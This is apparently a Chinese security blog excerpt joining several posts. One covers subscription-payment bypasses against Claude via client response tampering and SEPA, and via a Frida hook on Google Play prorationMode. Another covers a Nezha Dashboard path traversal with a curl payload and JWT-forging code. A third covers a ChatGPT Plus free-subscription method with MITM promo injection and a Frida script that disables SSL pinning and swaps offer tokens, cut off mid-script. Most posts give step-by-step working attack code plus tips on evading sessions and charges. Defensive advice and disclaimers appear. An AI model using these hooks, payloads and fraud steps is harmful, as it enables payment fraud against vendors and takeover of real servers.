 通过油猴脚本（Web）、MITM（移动端）、Frida Hook（Native）等
 方式替换响应内容

3. 选择确认延迟最长的路径
 SEPA 直接借记 > 银行转账 > PayPal > 信用卡
 延迟越长，时间窗口越大

4. 利用"前端校验 + 后端真空"
 前端校验通过后，后端在异步确认完成前不暂停服务发放

这个框架可以复用到任何订阅制平台，只要目标满足：

支付方式的选择依赖客户端可控状态
存在至少一种异步确认的支付方式
“服务开通"发生在"支付确认"之前

在漏洞挖掘实战中，打开 DevTools Network 面板，搜索 checkout、payment、billing、plan、subscription 这些关键词，找到所有影响支付逻辑的端点，逐个测试响应注入——这就是最直接的攻击面枚举方式。

五、防御视角

给服务端开发者

支付流决策必须服务端闭环。checkout_flow 的值应该在后端根据用户地区、账号状态、风控信号独立计算，前端只是一个渲染器——它不应该有能力选择自己走哪条支付通道。
异步支付必须延迟开通。SEPA、银行转账这类异步支付方式，在银行返回扣款成功确认之前，不应该开通任何付费功能。可以给用户一个"支付处理中"的状态，等清算完成后再激活。
API 响应签名。对关键 API 响应做 HMAC 签名（密钥存服务端），前端消费前验签。虽然不能根治（攻击者可以 Hook 验签逻辑），但大幅提高了攻击门槛——从改一个 JSON 字段变成了还得逆向验签实现。
IBAN 实时银行验证。接入 SWIFT gpi 或各国央行的 IBAN 验证服务（如德国 Bundesbank 的 IBAN 验证接口），在提交时做实时的账户存在性校验，而不是只靠本地 MOD 97。

给安全研究者

这类漏洞的攻击面很清晰——任何一个返回了影响支付逻辑数据的 API 端点，且这个数据可以被前端篡改，都是潜在的攻击入口。

一些高价值的"信号接口”：

checkout_capabilities / payment_methods / available_plans
region / locale / country_detection
eligible_promotions / offers / discounts
feature_flags / entitlements / subscription_tiers

六、实战翻车现场：“验证失败并清除旧会话”

讲完了攻击原理和防御思路，再来看一个真实场景——焚决并不是每次都能成功的。

在实际操作中（不管是焚决的 SEPA 路径还是正常的 Stripe 信用卡路径），你大概率会遇到这样一幕：

两条红色报错同时弹出来：

“未提交付款：发生了意外错误。请检查表单后重试。”
“验证失败并清除旧会话”

第一次看到这个，很多人会以为是卡的问题、网络的问题、脚本的问题。其实都不是——这是会话状态失效的问题，而且它能帮我们理解 Anthropic 的支付架构到底是怎么做验证的。

为什么会出现这个错误？

两条错误同时出现，意味着会话死在了支付提交的瞬间。理解这一点需要知道 Claude 支付提交时后端做了什么：

用户点击"提交支付"
 ↓
前端将 Stripe token / IBAN 提交到 Anthropic 后端
 ↓
后端第一件事：校验当前会话（session）是否有效
 ↓
会话失效 → 返回"验证失败" → 前端清除旧 session → 支付自然失败

关键点在于：Anthropic 在处理支付请求之前，会先验证你的登录会话。 如果会话已经过期或被吊销，支付请求根本不会到达 Stripe——它在 session 校验这一步就被打回来了。

五种常见的会话失效原因

① SK Cookie 过期（最常见）

Claude.ai 使用 __Secure-next-auth.session-token（业内简称 SK Cookie）维持登录态。这个 cookie 有 TTL，通常几个小时后过期。

如果你在打开支付页面之前获取的 cookie，到填完表单点提交的时候刚好过期——恭喜，踩中了时间窗口。自动化场景下尤其常见：任务在队列里排了一段时间，等轮到你的时候 cookie 已经不新鲜了。

② Session 被踢（多端互踢）

同一个账号如果在多个地方同时登录（比如你开了好几个 Worker 共用一个 cookie），后登录的会话会使前一个失效。你在 Worker A 上正准备提交支付，Worker B 刚好用同一个 cookie 做了一次请求刷新了 session——A 的 session 就死了。

③ 代理 IP 切换（Session-IP 绑定）

Anthropic 很可能在 session 上绑定了创建时的 IP 或 IP 段。如果你的代理在支付流程中间断线重连，换了一个出口 IP，后端一比对——这个 session 是从 45.67.xx.xx 创建的，现在请求来自 89.12.xx.xx？验证失败。

④ Stripe PaymentIntent 过期

即使 session 没问题，Stripe 侧也有自己的超时机制。PaymentIntent 和对应的 client_secret 有有效期（通常数小时，但在高风控场景下可能更短）。如果从打开支付页面到实际提交间隔太长，Intent 过期了，Stripe 返回错误，前端展示为"发生了意外错误"。

⑤ Checkout Session 并发冲突

同一个 Organization 如果同时发起了多个订阅操作（比如一个在升级 Pro，另一个在改支付方式），后一个操作创建的 checkout session 会使前一个失效。前一个提交的时候引用的 session ID 已经不存在了。

应对策略

针对这类会话失效问题，无论是做自动化还是做安全防护，都有几条通用原则：

从攻击者/自动化角度看：

策略	做法	解决的问题
Session 预检	进支付页之前先调 `/api/auth/session` 确认 cookie 存活	Cookie 过期
快进快出	打开支付页后立刻完成填写和提交，压缩停留时间	Intent 超时
代理钉住	支付全流程内锁定同一个代理出口，不允许中途切换	IP 绑定
Cookie 生命周期管理	记录每个 cookie 的获取时间，临近 TTL 时主动刷新	Cookie 过期
错误分类重试	检测到"清除旧会话"后标记为 session 失效，重新获取 cookie 再试	所有会话类问题
单账号串行化	同一个 org 同时只跑一个支付操作	并发冲突

从防御者角度看：

这个报错机制本身就是 Anthropic 的一层防线——在处理支付之前先验会话，避免在认证不确定的情况下创建订阅。这个设计是对的。

但如果要更进一步：

Session 绑定 + 支付确认二次绑定：不光 session 绑 IP，PaymentIntent 也应该绑定创建时的 session ID。Session 变了，Intent 就失效——即使攻击者拿到了一个新的有效 session，也得重新走一遍支付页面，不能复用之前的 Intent。
支付提交时的实时 Session 刷新：在提交支付的瞬间，后端不仅校验 session 是否有效，还可以强制刷新一次 token，确保提交时的 session 是"活跃"的而不仅仅是"未过期"的。
异常模式检测：如果一个 org 短时间内反复出现"session 校验通过 → 进入支付页 → 提交时 session 失效"的模式，说明有人在用自动化工具——标记为可疑行为。

小结

这个"验证失败"的报错看着烦人，但它揭示了一个重要的架构细节：Anthropic 的支付流不是单纯的前端-Stripe 双边交互，中间有一层 session 校验网关。 这层网关既是防线（挡住了过期/伪造的会话），也是自动化场景下最常踩的坑。

理解了这个机制，不管你是想加固自己平台的支付安全，还是想搞清楚为什么自己的自动化流程老是翻车——这个报错里都有答案。

七、写在最后

焚决这个东西，技术上说穿了就是一个客户端状态注入工具。它不攻击 Claude 的认证系统，不碰 Anthropic 的服务器，攻击目标是前端与后端之间那条看不见的信任边界。

它的精妙不在于代码多复杂——说真的 200 行 JS 连个正经项目的单元测试都撑不满——而在于它精准地捏住了两个系统设计缺陷的交叉点：

Anthropic 的前端支付流由一个可篡改的 API 响应驱动
SEPA 直接借记在清算完成前不验证账户真实性

两个缺陷单独拿出来，各自都不算致命。但组合在一起，就变成了一条从"修改一个 JSON 字段"到"零元订阅 Claude Max"的完整攻击链。

而这类"信任边界错位 + 异步确认间隙"的组合漏洞，绝不仅限于 Claude。任何一个同时提供信用卡和 SEPA 支付的 SaaS 平台，如果支付通道的选择权交给了前端，都可能面临同样的问题。

工具可以被修复，模式值得被记住。

Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max

Wed, 22 Jul 2026 10:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。本文描述的漏洞已于 2026 年 7 月被修复。任何利用类似手段对正式服务进行未授权操作属违法行为，后果自负。

部分思路来自 cctest.ai 作者，在此致谢。

0x00 背景：$20 的 Pro，$250 的 Max，中间差了一个 hook

Claude 的 Android 客户端走 Google Play 内购（Google Play Billing Library）处理订阅。价格梯度大概是这样：

方案	月费
Pro	$20
Max 5x	$125
Max 20x	$250

正常流程：你是 Pro 用户，想升级到 Max，Google Play 会按剩余天数计算差价，立刻从你的信用卡上扣。

但如果我告诉你，有个参数决定了 Google Play 对这笔"升级"收不收钱呢？

而且这个参数，就是 Android Bundle 里一个普普通通的 putInt 调用？

0x01 prorationMode：Google Play 里最被低估的攻击面

Google Play Billing Library 在处理订阅升/降级时，有个参数叫 prorationMode（比例分配模式），定义在 BillingFlowParams.SubscriptionUpdateParams 里。它决定了用户切换订阅方案时的扣费逻辑：

值	常量名	行为
0	UNKNOWN_SUBSCRIPTION_UPGRADE_DOWNGRADE_POLICY	未知
1	WITH_TIME_PRORATION	按剩余时间折算差价，立刻扣费
2	CHARGE_PRORATED_PRICE	按比例收取差价
3	WITHOUT_PRORATION	立刻升级，本周期不收费，下个周期按新价扣
5	CHARGE_FULL_PRICE	立刻全额扣费
6	DEFERRED	延迟到下个周期才生效

重点关注 3 — WITHOUT_PRORATION：Google 官方文档里写得很清楚，这个模式的设计意图是"让用户立刻获得高级功能，但推迟扣费到下个计费周期"。本来是给某些业务场景用的（比如试用期升级），但如果被滥用……

Claude 的客户端代码里，升级订阅时用的是模式 1（WITH_TIME_PRORATION），也就是正常的按比例扣差价。它通过 Bundle.putInt("prorationMode", 1) 把这个值传给 Google Play 的计费 Activity。

这个 Bundle.putInt 调用发生在客户端侧。客户端侧的东西，你懂的。

0x02 攻击链：Frida 一条龙

整个攻击链其实非常简洁，所有操作都在模拟器上完成。用到的工具：

MuMu 模拟器（x86_64，因为要跑 Frida server 的 x86 版本）
KernelSU（MuMu 自带，用来获取 root）
Frida 17.16.0（动态插桩框架）
特定版本的 Claude APK（v1.260330.27，在 Uptodown 可以下到历史版本）
一个能扣 $20 的美区 Google 账号
家宽 IP（避免 Google 风控拦截）

步骤拆解：

第一步：搭环境

MuMu 模拟器装好后，用它自带的 Google 安装器装上 Google 套件 + Play 商店。打开 KernelSU Manager 给 Shell 授权 root。这步没啥技术含量，MuMu 对 Google 服务兼容性比 LDPlayer 好不少。

第二步：准备 Claude APK

这里有个前置问题——你不能直接从 Play 商店装 Claude。

现在的 Android 应用普遍使用 App Bundle（AAB）格式发布，Play 商店下发的是 split APK：base.apk 加一堆按设备拆分的 config splits（ABI、密度、语言）。x86_64 模拟器拿到的 splits 跟 ARM 真机不一样，而且 split APK 不能直接 adb install 侧载。

所以需要一个经过修补、移除了 split 限制的完整 APK。实测可用的版本是 v1.260330.27，从 Uptodown 等第三方市场可以找到历史版本的完整包。关键词：“已修补 split 限制”——就是把 App Bundle 重新打包成单个 APK，绕过 Play 商店的分发限制。

还有一个连锁问题：修补过的 APK 签名跟 Google Play 原版不一致（相当于 debug 签名），Google OAuth 登录会直接拒绝——点 “Continue with Google” 没反应或者报错。解决办法很简单：用邮箱登录（Continue with email），输入 Claude 账号的邮箱和密码，完全不走 OAuth。

第三步：部署 Frida

adb push frida-server-17.16.0-android-x86_64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c "setenforce 0"
adb shell su -c "/data/local/tmp/frida-server -D &"

MuMu 有个坑：它的 ADB 端口不是标准 5555，而是 5557（多开的话 5559、5561 递增）。另外 MuMu 用 houdini 做 ARM 翻译，所以 Frida 必须用 attach 模式，不能用 spawn 模式（-f 参数），否则 houdini 翻译层直接 SIGSEGV 崩掉。

第四步：注入 Hook

核心的 hook 脚本其实就干了一件事——拦截 Bundle.putInt，把 key 为 prorationMode 的值从 1 改成 3：

var Bundle = Java.use("android.os.Bundle");
Bundle.putInt.overload("java.lang.String", "int").implementation = function (key, value) {
 if (key === "prorationMode") {
 console.log("[*] 拦截 prorationMode: " + value + " → 3 [WITHOUT_PRORATION]");
 return this.putInt(key, 3); // 就这一行，价值 $230/月
 }
 return this.putInt(key, value);
};

注意启动方式——必须先手动打开 Claude，再用 -H 连接（而不是 -U），因为 MuMu 的 USB 层跟标准 Android 不一样。而且 Frida 的进程名参数必须用显示名 Claude，不能用包名 com.anthropic.claude——MuMu 上 -H 模式下 Frida 按包名是找不到进程的，只认 app_process 里注册的显示名：

adb forward tcp:27042 tcp:27042
frida -H 127.0.0.1:27042 Claude -l hook-replacement-mode.js
# 注意：用 com.anthropic.claude 会报 "unable to find process"

这里还有个细节：脚本额外拦截了 SentryNdk.loadNativeLibraries 和 SentryAndroidNdk 的初始化方法，因为 Sentry 的 native crash 上报模块在 houdini 翻译层下也会崩。不拦截的话 App 直接闪退。

除了核心的 prorationMode 拦截，脚本还 hook 了 PurchaseReceipt 的构造函数，打印 purchase_token 和 organization_id。这个 org_id 是 Anthropic 后端用来标识组织/用户的唯一 ID（格式类似 6a085918-8383-44e5-9538-c4c81c6e122b），在规模化操作时用于追踪哪个 Claude 账号绑定了哪笔 Google Play 订阅——一个 Google 账号只能给一个 Claude 账号开通订阅，org_id 就是这个映射关系的 key。

第五步：走一遍正常支付

hook 注入成功后（控制台会显示 Frida Hook 注入成功!，App 里也会弹 Toast），正常操作：

用邮箱登录 Claude 账号（不能用 Google OAuth，原因见上）
在模拟器里绑定支付卡（需要能扣 $20 的真实/虚拟信用卡）
通过 Google Play 订阅 Pro（$20/月）—— 这笔钱是真扣的

第六步：触发升级

Pro 订阅成功后，直接在 App 里点"升级到 Max"。这时候 hook 就发挥作用了：

控制台输出：

[*] 拦截 prorationMode: 1 [WITH_TIME_PRORATION] → 3 [WITHOUT_PRORATION]

同时 PurchaseReceipt 的 hook 会打印出新订阅的 org_id，确认升级已经走通了 Anthropic 后端。

Google Play 的计费页面会显示：

产品：Claude Max
价格：$250.00/month（日区显示 JP¥42,500/month）
开始日期：2026年8月20日（注意，是下个月！）
“我们将于 2026年8月20日向您收取第一笔费用”

看到了吗？因为 prorationMode 被改成了 WITHOUT_PRORATION，Google Play 认为"当前不收费，下个计费周期再扣"。点击订阅，立刻升级到 Max，卡上不会多扣一分钱。

第七步：善后

升级成功后，去 payments.google.com 把这个订阅的支付方式换成余额钱包（Google Play 余额一般是 0）或者一张空的虚拟卡，然后解绑原来的支付卡。

下个月续费的时候，余额不够或者虚拟卡扣费失败，订阅自然过期。但这一个月的 Max 你已经用上了。

$20 的成本，享受 $250 的服务。利润率 1150%。

有一个规模化的硬约束：一个 Google 账号只能给一个 Claude 账号开通订阅。想批量撸就得不断囤 Google 号——这也是为什么这条灰产链的瓶颈不在技术，而在号源。

0x03 为什么这个 bug 能成立

从技术层面分析，这个漏洞能成立需要几个条件同时满足：

1. prorationMode 由客户端决定

这是最根本的问题。Google Play Billing Library 的设计是把 prorationMode 作为客户端参数传递给 Google Play 的计费系统。Google Play 本身不会校验"这个 App 有没有资格用 WITHOUT_PRORATION 模式"——它无条件信任客户端传来的值。

这是一个经典的信任边界错误：把安全关键参数的决定权放在了不可信的客户端侧。

2. 服务端验证缺位

Claude 的后端在收到 Google Play 的订阅回调时，主要验证的是"这个 purchase token 是否有效"和"订阅是否 active"。它不会去检查 prorationMode 是什么——因为这个信息在服务端回调里根本就没有。Google Play 的 purchases.subscriptions API 返回的数据里不包含当初用的是哪个 proration mode。

3. 历史版本 APK 的可用性

新版 Claude 可能已经做了混淆或者改变了参数传递方式，但旧版本在 Uptodown 等第三方市场永远可以下到。只要 Google Play 的 Billing API 版本还兼容，旧 APK 照样能完成订阅操作。

0x04 不用 hook 的路子：速刷

值得一提的是，prorationMode hook 并不是唯一的利用方式。圈子里还流传一种叫"速刷"的打法——不需要 Frida，不需要 hook，纯靠旧版本客户端的某些行为差异来打时间差。

具体原理不在本文展开（毕竟还没被修），但核心思路类似：利用 Google Play Billing Library 旧版本在处理订阅变更时的窗口期，在扣费确认到达之前完成订阅切换。跟 prorationMode hook 相比，速刷的门槛更低（不需要 root、不需要 Frida），但成功率也更低，而且强依赖特定的历史版本 APK。

这两种方法本质上攻击的是同一个面：Google Play 对客户端行为的过度信任。

0x05 修复状态与后续

截至 2026 年 7 月，prorationMode hook 这个特定的攻击路径已被修复。从修复思路上猜测，可能的措施包括：

客户端侧：新版 Claude APK 不再使用 Bundle 明文传递 prorationMode，可能改用了加密或者服务端控制
服务端侧：在处理升级回调时增加了额外验证（比如检查 linkedPurchaseToken 的订阅金额是否合理）
Google Play 侧：Google 可能限制了 WITHOUT_PRORATION 模式的使用场景（需要应用显式在 Google Play Console 配置）

但说实话，Google Play Billing 的这个攻击面远没有被堵死。prorationMode 只是其中一个参数，BillingFlowParams 里还有其他可操控的字段。只要"客户端构建支付参数 → 传给 Google Play → Google Play 无条件执行"这个模型不变，同类问题就会持续出现。

据了解，目前仍有针对其他参数或其他 App 的类似攻击手法在流通。Google Play 内购系统的安全模型，说白了就是建立在"客户端可信"这个脆弱假设上的。

0x06 技术启示

如果你是开发者，从这个漏洞可以学到：

永远不要信任客户端传来的支付参数。即使是通过 Google Play 这种"可信"中间人，底层的 BillingFlowParams 仍然是客户端构造的。
服务端必须独立验证订阅状态。不要只检查 token 有效性，还要验证订阅的实际扣费金额（通过 purchases.subscriptions 的 priceAmountMicros 字段）与预期是否一致。
Pin APK 版本。如果你依赖客户端逻辑做安全控制，服务端应该检查客户端版本号，拒绝过旧版本的请求。

如果你是安全研究者，这个 case 是一个很好的"API 信任边界"研究样本。Google Play Billing Library 把自己定位成"安全的支付中间件"，但它实际上信任了太多来自客户端的输入。类似 Frida hook Bundle.putInt 这种低成本的攻击手段，在整个 Android 内购生态里适用面很广。

本文记录的是一个已修复的安全问题，旨在帮助开发者理解 Google Play 内购系统的安全边界。

如果你对 Android 安全、支付系统攻防感兴趣，欢迎关注博客，后续会持续更新更多分析。

哪吒监控路径穿越漏洞分析：一个 `/dashboard..` 拿下全站 JWT 密钥

Tue, 16 Jun 2026 17:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：Nezha Dashboard 的路由前缀校验存在逻辑缺陷——对 /dashboard 的前缀判断没有做路径段边界检查，攻击者用 /dashboard../ 即可逃逸出模板根目录，直达 data/config.yaml 拿到 JWT 签名密钥。手里有了密钥，伪造任意用户 Token、接管整个面板的控制权就不在话下了。

漏洞概览

项目	详情
CVE 编号	CVE-2026-53519
CVSS 评分	9.1（Critical）
CVSS 向量	`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
影响组件	Nezha Dashboard
影响版本	< v2.0.13
漏洞类型	未授权路径穿越（Unauthenticated Path Traversal）
披露时间	2026-05-31

一句话总结：不需要登录，不需要任何前置条件，一个 GET 请求就能把整个面板的 JWT 密钥读出来。

漏洞原理

问题出在哪

Nezha Dashboard 在处理静态资源时，为了隔离不同模板目录，在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。

逻辑本身没问题，但实现上踩了一个经典坑：前缀比对没有做路径段边界检查。

Go 的 strings.HasPrefix 只判断字符前缀，不关心你后面跟的是 /、..、还是别的什么。于是攻击者构造出这样的路径：

/dashboard../data/config.yaml

拆开看：

/dashboard —— 通过了前缀检查，“合法”
../ —— 往上跳一层，跳出模板目录
data/config.yaml —— 命中 Dashboard 的工作目录，拿到配置文件

每一步都不违反代码的字面逻辑，但组合起来就把目录限制彻底穿透了。

用伪代码理解这个缺陷：

// 原始逻辑（有漏洞）
if strings.HasPrefix(r.URL.Path, "/dashboard") {
 // 渲染模板文件...
 tmpl.Execute(w, filepath.Join(tmplRoot, r.URL.Path))
}

// 实际解析：
// r.URL.Path = "/dashboard../data/config.yaml"
// HasPrefix 返回 true ← 漏洞点
// filepath.Join(tmplRoot, "/dashboard../data/config.yaml")
// → tmplRoot + "../data/config.yaml"
// → 逃逸成功

filepath.Join 会对 .. 做规范化处理，于是路径就从模板目录往上跳了一级，进入了 Dashboard 的工作目录——配置文件、数据库、日志，全在射程范围内。

为什么说这个洞"严重"

大部分路径穿越漏洞能读文件，但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml，里面躺着什么？

jwt_secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

JWT 签名密钥是整个认证体系的命根子。有了它，攻击者可以：

伪造任意用户 Token——用泄露的密钥签名一个管理员身份的 JWT，面板直接认你为 admin
劫持所有 Agent 通信——Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权，伪造 Token 就能下发任意指令
持久化控制——密钥轮换需要重启服务且所有 Agent 重连，运维窗口期往往长达数天，这给了攻击者充裕的时间

CVSS 9.1 的评分拆解开来看：

AV:N（网络可达）—— HTTP 端口默认暴露
AC:L（复杂度低）—— 一个 GET 请求即可
PR:N（无需认证）—— 匿名访问
UI:N（无需用户交互）—— 纯自动化
C:H / I:H（机密性高 / 完整性高）—— 拿到密钥等于拿到一切

复现步骤

假设靶标环境 Nezha Dashboard 监听在 http://target:8008：

# 第一步：未授权读取配置文件
curl -s http://target:8008/dashboard../data/config.yaml

# 正常响应会返回完整的 YAML 配置，其中包含：
# jwt_secret_key: "xxxxxx..."

拿到密钥后，用 Python 快速伪造一个管理员 JWT：

import jwt
import time

secret = "泄露的密钥"

payload = {
 "user_id": 1, # admin 通常是 uid=1
 "username": "admin",
 "role": "admin",
 "iat": int(time.time()),
 "exp": int(time.time()) + 86400 * 7 # 7 天有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie 或 Authorization Header，刷新面板页面——你已经是管理员了。

修复方案

升级

直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了段感知（segment-aware）的路径校验——不再是简单的字符串前缀匹配，而是确保路径被正确规范化后不会逃逸出模板根目录。

临时缓解

如果暂时无法升级，推荐在反向代理层做路径规范化防护。以 Nginx 为例：

location /dashboard {
 # 规范化 URI，折叠 ../ 等目录回溯符
 set $safe_uri $uri;
 if ($uri ~ \.\./) {
 return 403;
 }
 proxy_pass http://nezha_dashboard;
}

但由于 Go 的 filepath.Join 在服务端也会做规范化，仅靠反向代理层的黑名单拦截存在绕过风险，升级才是正道。

写在最后

这个洞的技术原理并不复杂——就是一个路径段边界检查缺失。但它打到的是整个认证体系的密钥源头，所以危害直接拉满。

做安全攻防的时候，有时候不需要绕过 WAF、不需要 0day 链——一个边界条件的疏忽，就能让整个系统的安全假设全部崩塌。

CVSS 9.1，名副其实。

GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅

Mon, 20 Apr 2026 05:30:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 4 月，距今已过去 3 个月。文中方案三（批量开 Pro）已在发布时标注为已修复；方案一（API 响应注入）和方案二（offerToken 替换）经过近 3 个月，当前可用性存疑，OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。

前言

今天给大家带来一个相当有意思的支付安全案例分析。这个漏洞的核心在于 ChatGPT 安卓客户端在调用 Google Play Billing 时，服务端未对订阅凭证进行二次校验，导致攻击者可以通过两种方式实现 Plus/Pro 权益的零元订阅。

先说结论：这不是传统意义上的"破解"，而是典型的业务逻辑漏洞。漏洞根源在于 Google Play Billing 过度信任客户端传入的优惠凭证，且未与服务端进行资格校验。

两种攻击方式对比

攻击方式	攻击点	技术难度	需要 Root	稳定性
方式一：API 响应注入	HTTP 层（MITM）	中	否	依赖服务端校验
方式二：offerToken 替换	内存层（Frida）	高	是	更稳定

方式一：API 响应注入（无需 Root）

攻击原理

ChatGPT 安卓应用在启动时会调用以下接口获取当前登录用户信息：

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27

响应包中包含 eligible_promo_campaigns 字段，用于存储当前账号可用的优惠活动。正常情况下，这个字段由服务端根据账号资格动态返回。

通过中间人攻击（MITM），我们可以修改响应包，强行插入优惠码。

环境准备

必要条件：

美区谷歌账号 × 1（任意区均可，非必须英区）
任意美卡 × 1（用于绑定账号，实际不扣费）
安卓设备 × 1（需 Root 以安装 MITM 证书，模拟器亦可）

工具链：

MITM 抓包工具（推荐 HttpCanary 或 Charles）
Root 权限管理工具（Magisk）
ChatGPT 安卓客户端

可用优惠码

固定优惠码（每次可用）：

优惠码	效果	稳定性
`3-day-free-trial`	3 天免费试用	固定可用
`plus-1-month-free-trial`	1 个月免费试用	固定可用
`1-month-10-dollars`	半价优惠（$5/月）	固定可用
`pro-winback-1-month-free`	Pro 挽回试用 1 个月	特定资格账号

特殊优惠码（限时/限资格）：

优惠码	效果	说明
`2wqkodfx51z2x`	6 个月免费试用	限时优惠
`2ispxs5mtgz35`	12 个月免费试用	限时优惠

这些优惠码是固定的，每次都可以使用。这也是为什么外面卡网可以持续生产低价 Plus 会员的根本原因。

构造优惠响应

以下是注入 1 个月免费试用优惠的响应包示例：

{
 "eligible_promo_campaigns": {
 "plus": {
 "id": "plus-1-month-free",
 "metadata": {
 "plan_name": "chatgptplusplan",
 "title": "linux.do",
 "summary": "你已获得 1 个月的 Plus 套餐优惠促销代码。",
 "discount": {
 "percentage": 100
 },
 "credit_grant": null,
 "duration": {
 "num_periods": 1,
 "period": "month"
 },
 "schedule": null,
 "price_period": "recurring",
 "promotion_type": "discount",
 "promotion_type_label": "1-month free trial",
 "no_auto_renewal_at_discount_end": true,
 "plan_type_change": null
 }
 }
 }
}

关键字段说明：

discount.percentage: 100 表示 100% 折扣（即 0 元）
duration.num_periods: 优惠持续时间（1 表示 1 个月）
no_auto_renewal_at_discount_end: true 表示优惠结束后不自动续费

零元订阅与风控绕过

修改响应后重新打开 ChatGPT 应用，点击升级即可看到免费试用界面。

由于是 0 元订阅，Google Play 的风控级别极低，仅需通过验卡环节即可完成订阅。这也是为什么需要提前绑定一张美卡的原因——不是为了扣费，而是为了通过 Google 的风控验证。

提取订阅凭证

订阅成功后，ChatGPT 会向 RevenueCat 回调接口发送订阅凭证：

POST https://api.revenuecat.com/v1/receipts

拦截该请求，提取响应中的 fetch_token 字段：

{
 "fetch_token": "xxxx",
 ...
}

这个 fetch_token 就是订阅凭证。将其保存后，即可用于给其他账号开通 Plus 权益。

方式二：offerToken 内存替换（需要 Root）

攻击原理

ChatGPT Android 调用 Google Play Billing 时，把当前 SKU 的默认 offerToken 传给 Google Pay。这时候就可以在内存里把这个 token 替换成 plus-1-month-free-trial 的 offerToken，让 Google Play 按免费试用处理。实际支付金额就是 0 刀。

工作本质：并非攻击 OpenAI 的服务器，而是在用户本地设备上篡改客户端与 Google Play 之间的计费数据。

环境准备

设备/工具	用途
Root 的 Android 手机	需要刷 Magisk
Windows 电脑	用于运行 Frida 客户端和 ADB
Frida HLUDA Server	正常版本谷歌有检测 Hook 会闪退

四步攻击流程

第一步：通过 Frida 的 Java.choose 接口遍历内存中名为 c3q 的混淆计费类实例，利用反射强制访问其私有字段 b（对应 offerId）与 c（对应 offerToken）。

第二步：脚本持续比对，当发现某个实例的 offerId 与目标免费试用档位一致、且其 offerToken 以 Adumm 为前缀时，将该 offerToken 捕获并缓存。

第三步：对 Android 系统框架层的三个方法进行 Hook，分别为：

android.content.Intent.putExtra(String, String)
android.os.Bundle.putString(String, String)
android.os.Bundle.putStringArrayList(String, ArrayList)

在 ChatGPT 客户端发起付费订阅购买请求的瞬间，Hook 代码识别到即将写入的原始付费档位 offerToken（同样以 Adumm 开头），即将其替换为此前已缓存的免费试用 offerToken。

第四步：经篡改后的购买请求被 Google Play 按"免费试用成功"处理支付成功后并返回成功回执。

可用优惠码

优惠码	效果
`2wqkodfx51z2x`	6 个月免费
`2ispxs5mtgz35`	12 个月免费

完整 Frida 脚本（简化版）

下面是经过整理的简化版 Hook 脚本，移除了复杂的动态捕获逻辑，直接注入已知的免费试用 offerToken：

/**
 * GPT Plus 免费订阅 Hook 脚本 - 简化版
 * 用途：Hook Google Play Billing，直接替换 offerToken 为免费试用
 *
 * 使用方法：
 * 1. 手机 Root 并安装 Magisk
 * 2. 推送 frida-server 到手机并运行
 * 3. 电脑端运行：frida -U -f com.openai.chatgpt -l hook.js
 * 4. 在 ChatGPT App 中点击订阅
 * 5. 自动替换为免费试用，扣费 0 元
 */

"use strict";

// 配置区域：免费试用 offerToken（GPT Plus 1 个月）
var OFFER_TOKEN = "AdummIvzNOk965s/0UOf08hi8zE1QBQA0qHs28TasLNjkP+H9peebMqSzAJF85XTHZsGLhCLb8sUqKa79ScsbZ1UI8MnOiU9VvkCLLFXKQHE1K9KRT9pYVT2qZz0SC9N9IEs3jhI+hkaTkvc/Vc=";

var _keepAlive = setInterval(function() {}, 1000);
function log(msg) { console.log("[GPT] " + msg); }

Java.perform(function() {
 log("启动 — 注入 plus-1-month-free-trial");

 // SSL 解除（防止证书验证失败）
 try {
 var TM = Java.use("com.android.org.conscrypt.TrustManagerImpl");
 TM.checkTrustedRecursive.overload(
 "[Ljava.security.cert.X509Certificate;", "java.net.Socket",
 "boolean", "boolean", "boolean",
 "java.util.Collection", "java.util.Collection"
 ).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
 } catch(_) {}

 try {
 Java.use("android.security.net.config.NetworkSecurityTrustManager")
 .checkPins.implementation = function() {};
 } catch(_) {}

 try {
 Java.use("android.net.http.X509TrustManagerExtensions")
 .checkServerTrusted.overload(
 "[Ljava.security.cert.X509Certificate;",
 "java.lang.String", "java.lang.String"
 ).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
 } catch(_) {}

 // 注入 offerToken（Bundle 层）
 var JStr = Java.use("java.lang.String");
 try {
 var Bundle = Java.use("android.os.Bundle");
 Bundle.putStringArrayList
 .overload("java.lang.String", "java.util.ArrayList")
 .implementation = function(key, value) {
 if ((key === "SKU_OFFER_ID_TOKEN_LIST" ||
 key === "OFFER_ID_TOKEN_LIST") && value) {
 for (var i = 0; i < value.size(); i++)
 value.set(i, JStr.$new(OFFER_TOKEN));
 log("offerToken 已注入");
 }
 return this.putStringArrayList(key, value);
 };
 } catch(_) {}

 // 注入 offerToken（JSONObject 层）
 try {
 var JSONObj = Java.use("org.json.JSONObject");
 JSONObj.$init.overload("java.lang.String").implementation = function(s) {
 if (s && s.indexOf("oai.chatgpt.plus") !== -1 &&
 s.indexOf("offerToken") !== -1) {
 var patched = s.replace(
 /"offerToken"\s*:\s*"[^"]+"/g,
 '"offerToken":"' + OFFER_TOKEN + '"'
 );
 return this.$init(patched);
 }
 return this.$init(s);
 };
